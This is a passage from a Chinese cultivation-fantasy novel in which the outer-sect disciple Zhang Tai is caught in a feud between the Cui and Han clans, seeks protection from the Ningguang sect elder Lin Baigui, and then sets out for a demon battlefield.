崔仲豫赞赏看她一眼,“没错,我们世家的影卫,就和宗门弟子一样总有一些身份象征,只是宗门弟子的身份令牌丢失了可以再重办,世家的影卫身份象征没了,人就不要回来了。”
并继续坦诚道,“不过这只是让你知晓一些事实的赝品,真的令牌,被我们的人揣着潜入韩家影卫之中,去拿更多证据。”
恐怕不只是证据,不过张苔也不是很感兴趣他们世家之间的龃龉。
不对,张苔瞬时明了,对方这是展现了能够绝对钉死韩家世孙做了
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这件事的证据,并让自己作为苦主,出头进行状告。
她的脸色冷了下来,“崔公子好本事,受你牵连恐怕担不起,事实莫不是就连我与母亲的无妄之灾都是遭你算计。”
崔仲豫现在心里也是很不耐烦。
跟这种毫无根基、只有一股狠劲的穷酸修士打交道,实在令人厌烦。
本来这事他这边是会有属下过去与张苔接洽的,只是对方急吼吼砸场子般逼迫了他出来,他顺便代劳一下,能客气这么久,已是够了!
他拂袖起身,“随便你,没有我这边相助,你的能耐又能翻出多少浪花?”
“哪怕你把你母亲的案件闹大,我本人与其的那点关联至多让我对你进行一点赔偿。至于我曾经针对你的那些过往,也只是为给你一些教训,宗门给的惩罚也不过多浪费我一些时间。”
眼见着结界即将撤去,一种即将失去复仇机会的恐慌,混合着巨大的屈辱,淹没了张苔,无论如何,她不能放过那劳什子世孙!
“等等。”
张苔:“为什么?韩桂为何偏要强闯我洞府,伤害我母亲?”
崔仲豫显然对她完全没有耐心,让她要么答应合作,她在前边将事情闹大状告韩桂,崔仲豫在后边动用手段避免韩桂走脱,让其为犯下的事情应该承担的罪名坐实;要么就没什么好谈。
张苔总算感知到了对方的轻慢、自己不值得他花时间精力进行过多周旋。
沉默。屈辱的沉默,她知道自己别无选择。
“……合作。”这两个字重若千钧,极其艰难才吐出。
崔仲豫满意地坐回,仿佛施舍般定下后续事宜。
“总体流程就是这样,明日我这边会有人到你那边,将部分铁证给你,商量日后具体状告实施细节。
你在前边最好不要出岔子,有些我们可以在后边找补,但如果事态过于不可控,我们也只好舍弃你断尾求生了。”
事情既已敲定,张苔在他起身前,迅速开口:“此事既因你而起,补偿,总该有吧?”
在这令人作呕的交易中,她总得夺回一点实实在在的东西,这是她此刻唯一能维护的、可怜的尊严。
闻言崔仲豫二话不说直接甩了个储物袋个张苔,他实在不想再与此人有什么纠缠。
结界撤掉之后,刘审理见二人之间不像是有冲突的样子,松了一口气的同时也升起微微的不屑。
他就知道结果会是如此,之前吵得那么凶,又是威胁又是撒泼,最终还不是人家修仙世家子弟口袋里漏一点就随便打发了?
然而下一秒,他就见张苔不带丝毫温度的目光看来,对他呵斥道,“愣着做什么?还不赶紧将人带到明刑峰?崔公子与强闯我洞府一案只是一点关联可以不去追究,但先前那些针对伤害同门、不友爱同门的旧账,证据俱全,还不请回明刑峰秉公办理?”
又朝崔仲豫摊手,“这案子我们是达成共识了,后续也有你的属下来跟进,你就放心往明刑峰走一趟吧。”
刘审理懵了,随即也只能哭丧着脸,磨磨蹭蹭往崔仲豫那边走。
张苔再度放话敲打,“还不快上前,人家崔公子都要等急了,毕竟先前放话过,若是我还要追究他的责任,他便随你们走。”
此刻,崔仲豫也是才从惊愕中晃过神,哪里有这种人?前脚收了好处,后脚就开始翻脸。
说出去的话就如泼出去的水,又念及后续事情,他皱着眉头压下怒火,尽量云淡风轻道,“那就走一趟,崔木,尽快打理好事情,抵达明刑峰之后最多两日,我要出来。”
其间对张苔的挑衅意味十足,张苔亦是在心底冷笑。
两日便两日,这次借助他的力量报仇韩家世孙后,之后来日方长。
42. 筹谋
从崔家那朱门高墙中脱离,一路回到玄天宗,与明刑峰押着的崔仲豫一行人分开,迎着清冷的山风,张苔才发觉自己的里衣已被冷汗浸透。
直到来到慈济峰母亲所在院落,走到对应房间门前,张苔深吸一口气,压下所有情绪,推门而入。
然后她看见母亲醒了。
张母左腿还裹着厚厚的浸染着药液的纱布,见到张苔,就开口说要离开。
“我已经问过那位医修了,只要及时换药,在家里养和在这边养没什么差别。”
张苔还能不理解她那个心思?无非就是心疼要花的灵石,自然是拒绝了。
张母见说不动她,又问起了她得罪的人。
这些张苔其实不怎么想说,说了也没用,但是主动被问就只能含糊着说是个世家的公子。
一听是这等人物,张母又忧心忡忡,“只希望这次找过麻烦,该发泄的也发泄了,事情也算是彻底了解,不会再紧盯着你不放了,不然咱们也只能离开玄天宗了。”
部分底层人士是这样的,明明是自己受到了伤害,得知对方的身份背景比自己高后,非但生不起报复之心,只祈求对方将事情揭过。
也是一种自保方式。
就连张苔本人,在最初的那番情绪过后,从崔家离开,也是出了一身冷汗,并在进行反思。
随即更是没什么指望地发现,无论她是否冲动行事,崔仲豫那边的人都会找上自己。
毕竟他们都有着将韩桂拉下马的打算,可以说,在韩桂明显违背如此重刑罚的宗规并且有明确证据留下之时,她就被卷在其中,很多事情,根本由不得她。
而今冷静下来,可以说,张苔按照崔仲豫那边给的法子作为明面上的刀,此案在明刑峰落定后,能不能保住一条命她都没什么把握。
身为上层斗法的筏子就要有这个觉悟。
至于现在尽早离开玄天宗,对方可不愿意轻易这么放过自己,故而至少也得离开中州,但张母是个凡人,年龄又大了,路途遥远的东躲西藏实在不适合,再者身为中州人士,恐怕她和母亲都不愿意离开最具归属感的中州。
张苔越想越头疼,原本她就普通的一个底层修士,过着普通的日子,怎么就遭遇这些事情了呢?
自从那个稀奇古怪的梦醒来后,她的生活就发生了翻天覆地的改变,而今回想所经历的事情,她都忍不住质疑,现在是不是还在梦里?
有哪个普通修士,误入过那样由普通变高危的魔窟、经历过刺激的抗魔秘境?又有哪个普通修士,接触过高阶的大型传送阵?又有哪个普通修士,能牵扯进世家圈子的博弈之中?
可是现在这些事情,发生都发生了,与其在这里懊悔恐慌,不如再想想出路。
否则等告上明刑峰,她和母亲就准备迎接韩家暗地里的猛烈报复吧!
首先,将自己手中所拥有的资源在清点一遍。
清点的时候,张苔看到了一枚内峰迎仙峰的通行令牌,这玩意儿好像来自崔仲豫给的那个储物袋里。
看到这块通行令牌,张苔不由又回想起几十年前迎仙峰那场乱象。
内峰迎仙峰,顾名思义,宗门用来迎接宗门之外修仙贵客的山峰,据说迎仙峰上不仅灵气浓郁,还景色宜人,安顿外来宾客的亭台楼阁飞檐翘角,无不精致,掩映在青山绿水之间。
凡是花团锦簇的地方,必然伴随着腌臜,既然是贵客,其中自有以玩人为乐的,比如喜好男女之事,外门大把弟子艳羡内峰更上几层楼的灵气浓度,很乐意凭此进入内峰。
但也总不能来一次内峰,就让贵客去接一次人,宗门作为引领天下修士的正道,明面上更不可能特地去培养修士供别的修士玩乐,甚至还要打击所谓的诸如提供炉鼎的组织。
可是贵客也有这个需求,所以只能增加迎仙峰的通行令,一个贵客手上有好几个通行令。
而来的贵客也不是个个实力高强或者周围有一堆实力高强的护卫保护,于是几十年前,也不知道是哪位外门同门发现并觉得可以加以利用的,直接掀起了外门弟子合作埋伏偷窃打劫贵客手中通行令的风潮。
然后宗门高层震怒,但这又委实不是什么光彩的事,只能在迎仙峰每年固定几日设擂台,赢得前百能够获取当年迎仙峰的通行令,但同时,修改新的宗规,对于再有恶意惊扰外来贵客的弟子,会彻查并施以严惩。
简短回忆这段过往后,张苔很快将迎仙峰的通行令扔回储物法器。
一群衣冠禽兽所在的地方,她进去求助?等待她的恐怕会是更凄惨的下场了!
将身上所有修炼资源清点完后,张苔关于如何破局还是没有头绪。
她简直要急上火。
张母似也感知到了张苔的焦躁情绪,以为是她枯坐房内无聊,直说,“你不必太担心我,该做什么就做什么去,好好的时间别在我这里耽搁了。”
张苔也不想让母亲徒增担心,于是应下走出了房间。
眼下不知何去何从,她也就没走远,在这位医修的院子里继续琢磨法子。
“凝光宗的圣手峰,顶级医师多是多,但搞得整个峰看诊一次的价格都上去了,要我说,还是咱们玄天宗的慈济峰好。”
医师的院落显然不适合安静的思考,一位有着独立院落的医师,其下还有着不少药童、学徒,以及看顾的病人也是五花八门,中了一些偏僻怪毒的、丹田经脉有损的、缺胳膊少腿等等。
这种要想短期瞬间痊愈,起码得是八九品的绝世丹药了,寻常修士别说买一颗过来,一辈子恐怕见都没见过,只能到医修这边来慢慢养。
人多,说话的就不会少。
张苔忖度,自己这事,终究还是要借助外力,就着自己现有条件思考了这么久,没有丝毫借力的突破口。
不如往外多听听一些消息,说不定能找到一些灵感。
听了一会儿,医师院落的话题太过天南海北,不实用,张苔决定先往各外峰的执事殿消息榜前走上一遭。
没想到在慈济峰的执事殿就有收获。
“凝光宗律令峰首座来我宗公干,刺杀行动不止,我峰特地派遣医修集大成者白芷长老前往,预防意外。”
凝光宗的律令峰相当于她们玄天宗的明刑峰,这样一个人物,很难不吸引张苔几分注意力。
在执事殿消息榜前了解近日信息的显然不止张苔一人,亦有部分修士看到了这条
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消息并进行讨论的。
“有什么稀奇的,这样的大人物,哪个不是一些势力的眼中钉?出行搞得这么大张旗鼓,不就是大喇喇地等着刺客来?”
“一峰首座?修为岂不是要化神?综合实力更恐怖,刺杀这等人物属实是想不开。”
“那位首座是来办什么事?交流宗规律法?”
这些讨论涉及凝光宗律令峰首座本人信息的压根没有,而张苔迫切需要知道这位首座是个什么样的人,又如何可以接近对方。
她直接在事务峰任务大殿旁边的偏殿发布了任务。
任务大殿是主殿,其中执事人员更多,任务由事务峰统筹发布,外门弟子只有完成任务大殿上的任务才能获得任务休息期。
任务偏殿则是他们这些宗门弟子看自己需要发布的,不失为穷苦修士赚修炼资源的一个门路。
两个地方的任务也有相同性质的,比如采集某些灵材,但主殿上的这个恐怕是宗门顶尖人物需要,也与对抗魔物有关。
半日工夫,耗费了些许灵石,几枚记载着情报的玉简便送到了张苔手中
信息繁杂,但关键点重合又清晰:
凝光宗现任律令峰首座,林白圭,境界在化神之上,驻凝光宗世家林家旁支的外室子,单金灵根。
二十岁金丹入凝光宗内门律令峰为普通执事,骨龄四百时进阶化神并担任明刑峰裁决长老,两百年前魔物大军攻破防线进入中州后上抗魔战场直至魔物重新被悉数清剿,凭借战功升任律令峰首座。
裁决案件刚正不阿,公正严明,无论是公众皆可围观的问仙台,还是不对外的灵境会审,皆极少找到徇私痕迹。
相传是上任战神的弟子,最近接连前往多个宗门拜访其间驻宗世家,主动无偿为各宗所属的前沿战场筹措灵石法器法阵等资源。
将信息全看完进行总结后,张苔又把目光汇集在林白圭这个名字上。
她的表情有些古怪。
难怪先前觉着凝光宗律令峰首座这个职位有些熟悉,之前在抗魔秘境,郑尔雅貌似在她耳边叨叨了几次,林白圭的这个身份?
而她也总算知道当初郑尔雅提及这个名字时,她为何会觉得耳熟。
在她先前那个旁观凝光宗某内门弟子经历的梦里,就得知过林白圭在白骨荒原战场失守,大批魔物势如破竹击溃后边几道战场防线,即将涌入中州时,自爆的消息。
张苔感觉脑袋开始隐隐作痛,她之前知晓过林白圭这个名字和身份吗?不知道又如何会做梦梦到?知晓又如何需要此刻像这样主动去打探?
这又是巧合吗?过去貌似也在现实里听到过一些和梦境重合的事情。
算了,眼下最要紧的事不是去深究这些,关键在于她的这个事,还是可以尝试一下去寻求林白圭帮助的。
至少看得出此人有权势,不惧世家,且不偏颇于世家,应该和大多迎仙峰中沐猴而冠的货色不同。
恰好她拥有进出迎仙峰的通行令,据她猜测,林白圭可能就在迎仙峰,她有途径接近。
今日天色已晚,且明日崔仲豫那边还会白送证据,在最后的这点时间,她得摸清楚林白圭的具体位置,又如何去接近。
43. 幕后
“外门弟子张苔,叩见林首座。晚辈今日冒死求见,实是走投无路。玄天宗世家子弟韩桂,指使他人强闯洞府、重伤凡人,晚辈人微权轻,非但寻不着半点证据和缘由,还被卷入世家纷争,作为以此攻讦的筏子,灭顶之危不久矣。
闻首座公正严明,不惧世家,故请首座指点一条明路生路。”
一番周折,张苔见到林白圭后,直接跪拜,不说废话,开门见山将来意阐明。
既是化神首座,一眼就能看穿她的底细。任何伪装和算计在他面前都显得可笑。唯有绝对的坦诚,才有可能换来一线对方乐意出手。
她也确实别无法子,现实就摆在那里,要么她在明面上以小博大搬倒韩桂,后续遭到韩家那边的报复;要么她拒绝与韩家对上,崔家直接撕破脸皮让她吃不了兜着走。
一个普通修士招惹上不愿意放过你的世家子弟,就是倒了血霉,没多久可活,这种例子屡见不鲜。
至于普通修士的感受、想法?谁在乎,修仙界的大事都多的管顾不过来。
如果林首座乐意帮忙最好,不帮忙张苔也没办法,昭告韩桂恶行的留影珠,在崔家下属的安排下,当初她离开崔府时就开始渐渐散开了。
最近倒不用担心死于非命,崔仲豫放在她身边那个出窍后期不是死的。
但事情一旦受案,恐崔仲豫会灭口。
哪怕一时躲过,在韩桂伏法后,韩家的报复会更为猛烈。
她也只能谨慎防备着,尽力避免掉随时降临的杀机,躲不掉只能以死为敬,成为无数修二代欺压普通修士至死例子中的一个。
从昨夜到今日,关于最坏的结果,她已经在脑内预演恐慌了千万遍,现在都麻木了。
林白圭将张苔的状态看在眼里,有了几分猜测,起码能够笃定,这还真是个来诉说冤情的求助者,不是那些打着旗号接近他实则来刺杀的凶徒死士。
能够找到他的位置,此人算是下了苦心并有着几分能耐。
注意维持着大宗一峰首座该有的架子,林白圭让张苔起身,并淡淡道,“事情具体如何,详细说来。”
张苔大喜。
从头将怎么得罪崔仲豫,十几年的应付;大半月前在坊市莫名碰上韩世孙,对方那番奇怪的话;以及完成任务回到宗门听到噩耗闹上崔家,崔大公子却抛出合作之后又派高阶修士属下强硬推着她实施等等,都悉数道来。
“这是先前被我甩掉的,崔家那个出窍后期下属给我的,经过传播,约莫后日不少宗门弟子的愤怒达到高峰,他让我在众目睽睽下前往明刑峰时状告所上交的证据。”
还是那些供状文书、留影珠和象征韩家影卫身份的令牌。
用灵力托着将东西奉上后,张苔低头紧张着,终于感知到对方拿起查看了一番。
“你这个事...”
就在林白圭沉吟着的时候,张苔心提了起来。
“如果是真的话,受案之后都是被作筏,要不考虑,让我们这边的人进行利用?”
闻言张苔一懵,好在对方进行了详细解释,“我此番四处游走,是为了筹集抗魔战场的消耗,当今修仙界大把的资源都被世家垄断,战场消耗也只能从世家手里来。”
张苔总算反应过来,被对方所用,即对方乐意出手,让她和母亲在此案之后,免于身死之危。
她深怕错失掉这个机会,忙不迭应下。
“好的,好的,苔此案,愿为首座所用。”
本以为就要这么退下了,张苔心中还有些五味杂陈。
先前遭遇那么多不公,而今能保下命来已是谢天谢地,她不能再奢求对方让韩桂和崔仲豫付出应有的代价。
没想到林白圭似是看出她的想法,“你与令母之事,而今都只是你的一面之词,我们这边的人还没有去彻查,故而有些想法都只能是猜测,更不好对你允诺什么。”
“但如果,你的遭遇确实如你所言,承受了天大的冤屈与不公,我们这边的运作,短期之内似是在息事宁人,实际上会让韩桂和崔仲豫都付出代价。”
听到这些话,张苔心中好受了许多。
“如果没有别的问题,你先离开吧,我们这边会先进行更多相关消息的查探,后日你就先照着崔家那边的安排进行状告,受案后,我们的人再把你带到我们这边来。”
这时,先前引张苔前来的那个小厮悄然走到张苔这边,“道友,请。”
走这一趟,得到这个结果,张苔无有不满,顺从地跟着小厮离开。
此地是迎仙峰半山腰一处松林深处,额外单独开辟出来的空间,周围还有迷阵。
张苔当初摸索到这附近就被小厮拦下,小厮得知她的来意后,带着她七拐八拐才得以进入,离开照旧需要对方引路。
就在张苔离开不久,这处独立空间中,林白圭搁下茶盏。
“来我这听了一场大戏,就不要急着走,免得待会儿我又要去找你。”
话落,空气中浮现一个人的身影。
挽着高髻,面若冠玉,一身劲装衬得身姿挺拔。
她抬手摸了摸发鬓,开口就是熟稔的温和,“师兄现在用起我来是越发顺手了。”
如果张苔还在此地,定然会震惊到掉下巴,此女修正是常常出现在明刑峰问仙台高座之上,带着威严肃杀之气的明刑峰首座。
林白圭也不跟这位首座客气,“陶师妹,那就劳烦你用神通查一查刚才那位弟子所言是否为真,整个事情的脉络又是如何。”
陶首座出身市井,跟林白圭同为前任战神弟子,自亦有不少从抗魔战场获得的功勋。
但支撑陶首座成为掌肃纪之权、镇一宗清净的明刑峰首座,除却以上原因,还有一点,陶首座早年机缘巧合习得一门神通,“鉴真溯影”。
“基本上属实。”
对上林白圭抬眼看来,陶首座解释道,“先前我猜到,你之后可能会来找我就这事讲给我让我辨别真假,我索性当时在那位叙述完后,就用了神通。”
至于事情脉络,通过张苔给出她的经历,陶首座开始施展神通,然后得到了崔仲豫视角的信息。
底层修士有底层修士的挣扎,但作为明面上最名正言顺能够继承成为一世家大族掌权人的长房嫡长子,崔仲豫活得也不轻松。
他的祖父去世,他才能得到世子的名号,世子的名号没有落在他头上一天,下边的弟弟妹妹就在虎视眈眈一天。
为了在父亲成为掌权人时,他也能接过世子的这个位置,他必须足够优秀的基础上,最好也能讨到父亲的欢心,而一个人的心意,是最不可控的。
他就开始想着为自己增加筹码。
七十多年以前,崔家情势高,在好几处资源集聚、市场份额上打压过韩家,比如两家的人前后脚新发现几座灵石矿山,却全被崔家占为己有等等,两家关系交恶。
可正所谓风水轮流转,凝光宗辖地那边的顶级世家百里家族要跟玄天宗这边的联姻,相比于财富顶尖修士等更胜一筹的崔家,百里家更看重有更多族人渗入玄天宗掌握宗内实权的驻宗世家韩家。
凝光宗可以说是位列八大顶尖宗门之首,这任及上任战神皆出自凝光宗,百里家族作为凝光宗的顶尖驻宗世家,其掌握的资源权势可想而知,韩家情势随着这层姻亲关系水涨船高。
然后崔家就尴尬了,很多消息,尤其是凝光宗辖地那边的比如新发现了什么秘境,新研究出来了哪些御魔方法,一些大众功法上的改进等等,出的资源是别家跟韩家交易的不知多少倍。
部分受益巨大的,更是出资源韩家都不卖。
几十年来,这是崔家的一个大的掣肘点,崔仲豫便想着从韩家最金贵的世孙处着手。
韩家这位世孙,便是曾经百里家的小姐,而今韩家世子夫人所出。
世子夫人对他除了修为上的要求,其余皆是予取予求,概因什么都唾手可得,从而养成了韩世孙觉得世间无聊,追求极度刺激的恶劣性子。
曾为了体验被魔物附身吞元,到底是一种什么感受,其小弟找了一个穷苦修士和一本通感功法,又捉来一只高等魔物,许以那穷困修士三十块上品灵石,让那修士不抵抗放任魔物上身,而韩桂施展通感功法,结果闹出人命。
类似的事情还有很多,但韩桂自出生起大多时间在凝光宗那边,又归属于玄天宗的人,无法用凝光宗的律法约束他,出事都是用修炼资源摆平。
崔仲豫本来捉了一只罕见的灵宠,但迟迟没有送出去。
因为他显然猜到了,韩家世孙什么样的稀罕物没见过,什么样的奉承没听过,用常规的法子凑上去,十有八九会失败而归。
直至张苔因为灵鹤一事杀了这只灵宠,当时他灵光一闪,放话让张苔与灵鹤进行交.媾,事后又特地往韩世孙那边放出夸张修饰后的消息。
韩世孙这种追求新奇刺激的人,自然而然被引起了注意,主动找上崔仲豫的门,崔仲豫也是个会把握人心的,两人自此交好。
本来韩家也多是从百里家那边获益,世子夫人也没经历过被打压的憋屈,只要世孙高兴,后续便是细水长流地通过小辈的交情,破上辈的冰。
崔仲豫也凭借这一事件,在族内声望大涨,可以说,其祖父殒落之后,其父哪怕鬼迷心窍,想要强行换其他子嗣坐上这世子之位,在他无大错的前提下,基本上行不通。
可此事隐患也有。
说到底,崔仲豫对自己要求颇高,谨言慎行,跟韩世孙从头到尾就不是一种人,伪装得再好也有破绽。
而且紧随着崔韩两家破冰之后,崔家打蛇棍随上进行了两家利益捆绑,韩家想再度踢开崔家,那就是在割肉放血,韩世孙在其中的作用渐微。
韩桂的态度,而今在韩家往两家投入的广大共同营生前不值一提。
于是崔仲豫在伪装着不动声色讨好韩桂一事上也不再太过上心。
直至一日,某个三流世家作为他鹰犬走狗的子弟,突然讨好地凑上来,告诉他,已经给张苔那个不长眼的教训了,人绝对能在慈济峰躺三四个月。
他当时就莫名其妙,最开始,因为要拿胁迫张苔与兽类交.媾的事情说项,对方不从,他让属下负责装模作样地去教训教训,直到几年前得知,那人滑不溜秋压根从没教训到,还白搭资源进去,他就叫停了。
还狠狠训斥了那位下属一顿,他之后找的人都是你情我愿资源交易,韩桂玩得血腥,故而是笔大花销,有些地方能省的不要等他发话再来省。
也是从这个反常的事情,他敏锐地察觉不对,迅速派人去查。
然后越查越胆战心惊,曾经为了表示对韩桂的亲密无间,他当着附庸跟随的一众狗腿前宣布,他的人就是韩桂的人,韩桂的意思就是他的意思。
还有一些诸如,韩桂与他互为知己,世上最懂他的人属韩桂。
然而半月前,韩桂就不断假借他的名义,赠送一些杀伤性极强的法器,甚至可能赠送出一把上等仙器逼近神器级别的伪神器,给那些鹰犬走狗。
以“崔大公子很生气要教训人”为幌子,韩桂说是传达他的命令,教训那些他曾带着韩桂前去观看或者上手而赏玩的,提前用大笔修炼资源安排上的修士。
杀伤性极强的高阶法器,事先又没告知使用者,当真正动手的时候,哪怕本意只想着教训,结果会直接灭杀。
好在能够满足韩桂变态趣味的修士,大多本身也不是什么省油的灯。
崔家又有几位族叔在迎仙峰做长老,通行令大把,他基本上每人都送了块迎仙峰的通行令。
最重要的是他发现得早,阻拦及时,只死了的一个人,其家属还是个见钱眼开好拿捏的人。
随后便是遣散别的世家附庸过来的子弟,他给的理由很明确,这些年来,手下的势力发展起来,不再需要别的做事的人,有什么事只会吩咐属下去做
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,同时是在敲打这些人自此做了什么都和他无关。
遣散的好处给的到位,理由明确却委婉着说,那些人便顺从接受了。
事情稳定下来后的一段时间,每次回想他都心悸得冒冷汗,倘若再晚一些,他又疏忽大意掉这点异常,可以想见,当几十号人无故在宗门之内暴毙,会引来多大的关注。
之后一查之下,这些人全部都和他相关联,在宗门内堂而皇之谋害这么多条性命,别说未来的世子之位跟他铁定绝缘,当下他就自身难保。
本以为和韩桂已是彻底撕破脸,以后更是断绝联系,没想到对方还是若无其事跟他往来。
后续又是几次暗地里的交锋,他早有提防,悉数全部抵挡了回去。
这种暗算一防持续了半年,很耗费他的心力,身负嫡长血脉,他的事情很多,还要兼顾修炼,而且只有千日做贼,哪有千日防贼的道理?
因此,他开始和韩桂的其中一位庶弟暗地里有了更深层次的往来。
据韩桂的这位庶弟所说,在最开始的几个月,韩桂除了找他麻烦,更是派了不少影卫暗地多番打探他的消息。
他心知自己行得端坐得正,没有软肋,没有可以大肆攻讦的地方,也就随韩桂去了。
直至前些天,这位庶弟将一些人送来给他,并附带留影珠,其上记录着,韩家影卫与这些人都有过接触,这些人就是在叛逃宗门路上被拦截扭送给他的。
他立时让属下派高手拿下这个影卫,并乔庄对方混入韩家影卫之中,同时审问这些人。
随着这些人吐露出来的话,他简直大喜过望。
这韩桂是长期无法奈何自己,索性拿当初牵连他中计开端的张苔而泄愤吗?
韩家的这位庶子也是个人物,不过从自己这里借走三两人手,还真让他抓住了韩桂的把柄。
总之,他认为这是一个大做文章搬倒韩桂的机会。
陶首座睁眼,“以上就是溯影得到的所有信息。”
说完,她也熟稔坐往林白圭旁边榻上,拿过茶壶为自己倒了一杯茶。
润了润讲述得干燥的唇舌,陶首座支着额头看向林白圭。
“倒是能够进入我所经历案件中,比较精彩的一批,虽然少了韩桂的视角,但事情还是比较清晰了,怎么样?你的看法呢?”
林白圭端坐着喊了一声下属的名字。
这时,还是先前那个小厮,端着一沓玉简进来。
“张苔修士的资料是这几卷,韩桂及心腹近两年的行踪是这几卷,崔仲豫的则是剩下那些。”
林白圭颔首,神识扫荡过玉简后,又用灵力将玉简附盛放玉简的盘子推到陶首座那边,“我大体上还是站在苦主那一边的,不过这位苦主,倒是也有意思。”
然后又问小厮,“韩桂曾确认过,张苔前往寒矿镇魔窟之前,曾中了伪神器级别的暗器,却毫发无伤?”
小厮答:“据那几个崔仲豫的爪牙被忽悠着为韩桂做事的所说,的确明明神识感知到,那暗器破开张苔防御,贯穿心脏,张苔却只倒地躺了一会儿后,便能再度对他们出手。”
“也正是因为不敢背上杀害同门的罪名,他们后续才会被威胁,其中一位才会为她到崔仲豫面前遮掩。”
林白圭再问:“张苔与崔仲豫的人纠缠了十多年?”
小厮犹豫了一会儿,还是道:“没有直接证据表明,在张苔杀死灵宠得罪崔仲豫后,崔仲豫的下属派人找人寻张苔麻烦。
但很多细节还是对得上,比如崔府确实有这一项支出,有的找麻烦的人也能找到并说出个子丑寅卯,很多涉事的人的认知都是如此,哪怕十几年的时间过去了还如此清晰,反倒显得有些诡异。”
林白圭:“你是否查出张苔是通过什么手段找到这处地方的?”
小厮摇头,“我只看到人突兀出现往主上那边过去,怕伤及主上便一心拦截,发现没有威胁后就折回出现点仔细查看过,主上的布置没有被人惊动触及的痕迹。”
用茶盖刮去茶上浮沫,林白圭看向翻着玉简的陶首座,“很奇怪的一个人是不是?”
“你的神通鉴定她的话没有问题,整个事件确也如此,术法探查乃至人生经历资料昭示她亦是普通修士,可是普通修士,又如何做到以上那些?”
陶首座也拧紧眉头,“所以你怀疑,她有问题?那这件事,咱们还掺和与否?”
林白圭笑笑,“如此好的由头,怎么不掺和?尚且看不出是针对我们的阴谋,哪怕是阴谋,后续化解了便是。”
见林白圭心里有数,陶首座也放松下来,“说不定,对方的这点奇怪,在于也是身负神通呢。”
林白圭:“你开玩笑也得像样一点,神通何其难得,咱们师兄姐弟几个人活了这么多年,还都结识招揽的都是些出众之人,其中拥有神通者,凤毛麟角。”
人都不喜欢遭到否定,陶首座本来是胡乱一说,但见林白圭如此,她还真往这方面找起了证据。
“觉醒继承领悟神通,本来就看一个相性,不是非得出众之人才会有神通,另外,拥有神通亦不能担保此人必定出众,有些神通很偏门,拥有者本身素质不高很难发挥作用。”
“再者,我曾经听过一个说法……”,说到这里,她顿住,后半句“当一方世界即将走向毁灭之际,此方天道,会剥离散落出各种能量,神通,正是能量的一种。”直接咽了下去。
话说到一半却没声,林白圭一挑眉毛侧身看来,“什么说法?”
陶首座暗道好险没把话题拐到这上面,这说法太过悲观,且担忧师兄思维发散到曾经的一些事情,然后疯狂把责任往自己身上揽。
故而她只是呵呵笑了两声囫囵过去,“暂时还没编出来。”
想到一些事情,她也没了聊天的兴致,“眼下好不容易有了能让两边世家放血的机会,师兄你好好琢磨,有了什么想法,再来找我商讨,我先走一步。”
44. 烬土
崔仲豫的属下,利用舆论造势还是有几把刷子的。
几天时间,张苔愣是不敢用真容示人。
无论她在宗门哪个角落,总是时不时能听到关于韩桂重金指使杂役强闯修士洞府,欺凌凡人的恶行讨论。
后来不知是崔仲豫那边在加重筹码,还是真有位无名义士,又前往了一趟她的那个洞府,用溯影神器或秘法,再度重现当时现场并记录,在这个记录中,又发现了随着炼气犯人闯入的还潜行着一位出窍修为的影卫。
这影卫本事高超,市面上的留影珠还真没法映照出此人,若不是实在无法仅凭影像确认其身份,韩桂恐怕又得背上一个戕害同门的罪名。
还有韩桂的身份,在凝光宗做下的屡屡恶行,以及凭借着百里家族的势力以及不是凝光宗弟子的身份,在作恶后从未得到过惩罚等等,这些悉数被挖了出来,在口口传扬。
始终跟着张苔的那个崔家盯梢修士,给了她行事的指令后,张苔在明刑峰山脚下卸掉伪装,伴着一些早就安排好的看热闹的人,往申诉大殿而去。
有着周围那些起哄相告的人,这一路的人是越来越多。
这么多双眼睛的注视下,执事人员受理了这个事情,并让张苔前往殿内一处房间,“待会儿有执事人员来进行一些细节的询问,烦请道友到那边内间说话。”
走到执事弟子所指的房间门口,张苔看到其内有一位穿黑色褂子的中年男修对她含笑示意。
这位中年男修和先前在林白圭那边引路的小厮面容上有几分相似,应是父子,这代表着此人是林白圭的人,张苔放心走入房内。
中年男修掌风轻扫,大门合上,又布下隔音结界后看向张苔。
“张小友,我全名林磊,你可以唤我林叔,林大人派我将你接往迎仙峰。”
“除了你,大人还让我去一趟烬土战场从王统帅那边要个人,一起带到迎仙峰,张道友,你是跟我一块去战场要人然后前往迎仙峰,还是在这里等着我从战场将人带来这里再去迎仙峰?”
“一块去!”张苔毫不犹豫选择了前者。
于是张苔跟着翻窗到内侧走廊,又选了个靠墙的空房间,跳窗出了申诉大殿。
明刑峰上的阵法禁制很多,目前以张苔的被关注度,殿前的修士还没散完,走正门不合适,各种手段诸如秘术阵法幻术等,在申诉大殿是不可能生效的。
所以只能如此。
出了申诉大殿,两人便草草易容了一番,又是一阵赶路。
跟着林磊七拐八绕地御剑飞行,忽而,她眼前一黑,神识范围又被限制,突如其来的变故差点没让张苔动手。
“见谅,在中州内部直达前线战场的线路和几个传送区域,不能透露,你的神识范围还是有十丈,且还能够凭借听力确认方位,我想跟紧我,应该不成问题?抵达现场后,对你的桎梏自会解开。”
对此张苔还能怎么样,依言服从,保持着精神的高度紧绷死死追随,免得跟丢。
飞行了不知多远,又有几次降落,踩了几个三四阶传送阵,最后一个四阶传送阵所传送的地方,张苔感知到,应该是一个防御极其周密严紧的密室。
张苔感知到中年男修林磊从储物法器中带出了大量灵石,在浓郁的灵气氛围中,听见一道道细微的咔嚓声。
她猜测这密室里面,应该是一个高级大型传送阵。
类似曾经郑尔雅给她的那种。
只不过相比于郑尔雅的能够直接启动,这一阵法需要林磊镶嵌灵石,为待会儿阵法启动和持续运转供应不竭的灵力。
这到不是说这个阵法的等阶一定比郑尔雅的低,需要大量高质灵石其实也是一种限制,万一什么人无意摸索到这里,也不会随便输入点灵力就乱入前线战场了。
在等待中漫无边际地想着,霎时,空气变得凝固,时间仿佛也逐渐缓慢沉重起来,浩瀚而强大的能量从四面八方涌来,有如千万条细流在此处汇集成河。
林磊在她身上施展的限制手段也在巨大的能量冲击下被破开。
随即便是天旋地转般的搅动,此时或许是在以惊人的速度穿越空间,先前那种被天地之力冲击的感觉不复存在,只剩下旋转后的强烈眩晕。
整个过程不知道持续了多久,旋转的程度开始减弱,张苔逐渐可以在传送的这片空间中立稳身形,尽管还是有些眼花头晕。
法阵一消散,扑面而来的是一种给张苔强烈的反差感的环境。
土地荒芜,草木稀疏,灵气稀薄得几乎难以察觉。空气中还弥漫着淡淡的腥气,遥遥远方偶尔传来的低沉咆哮声。
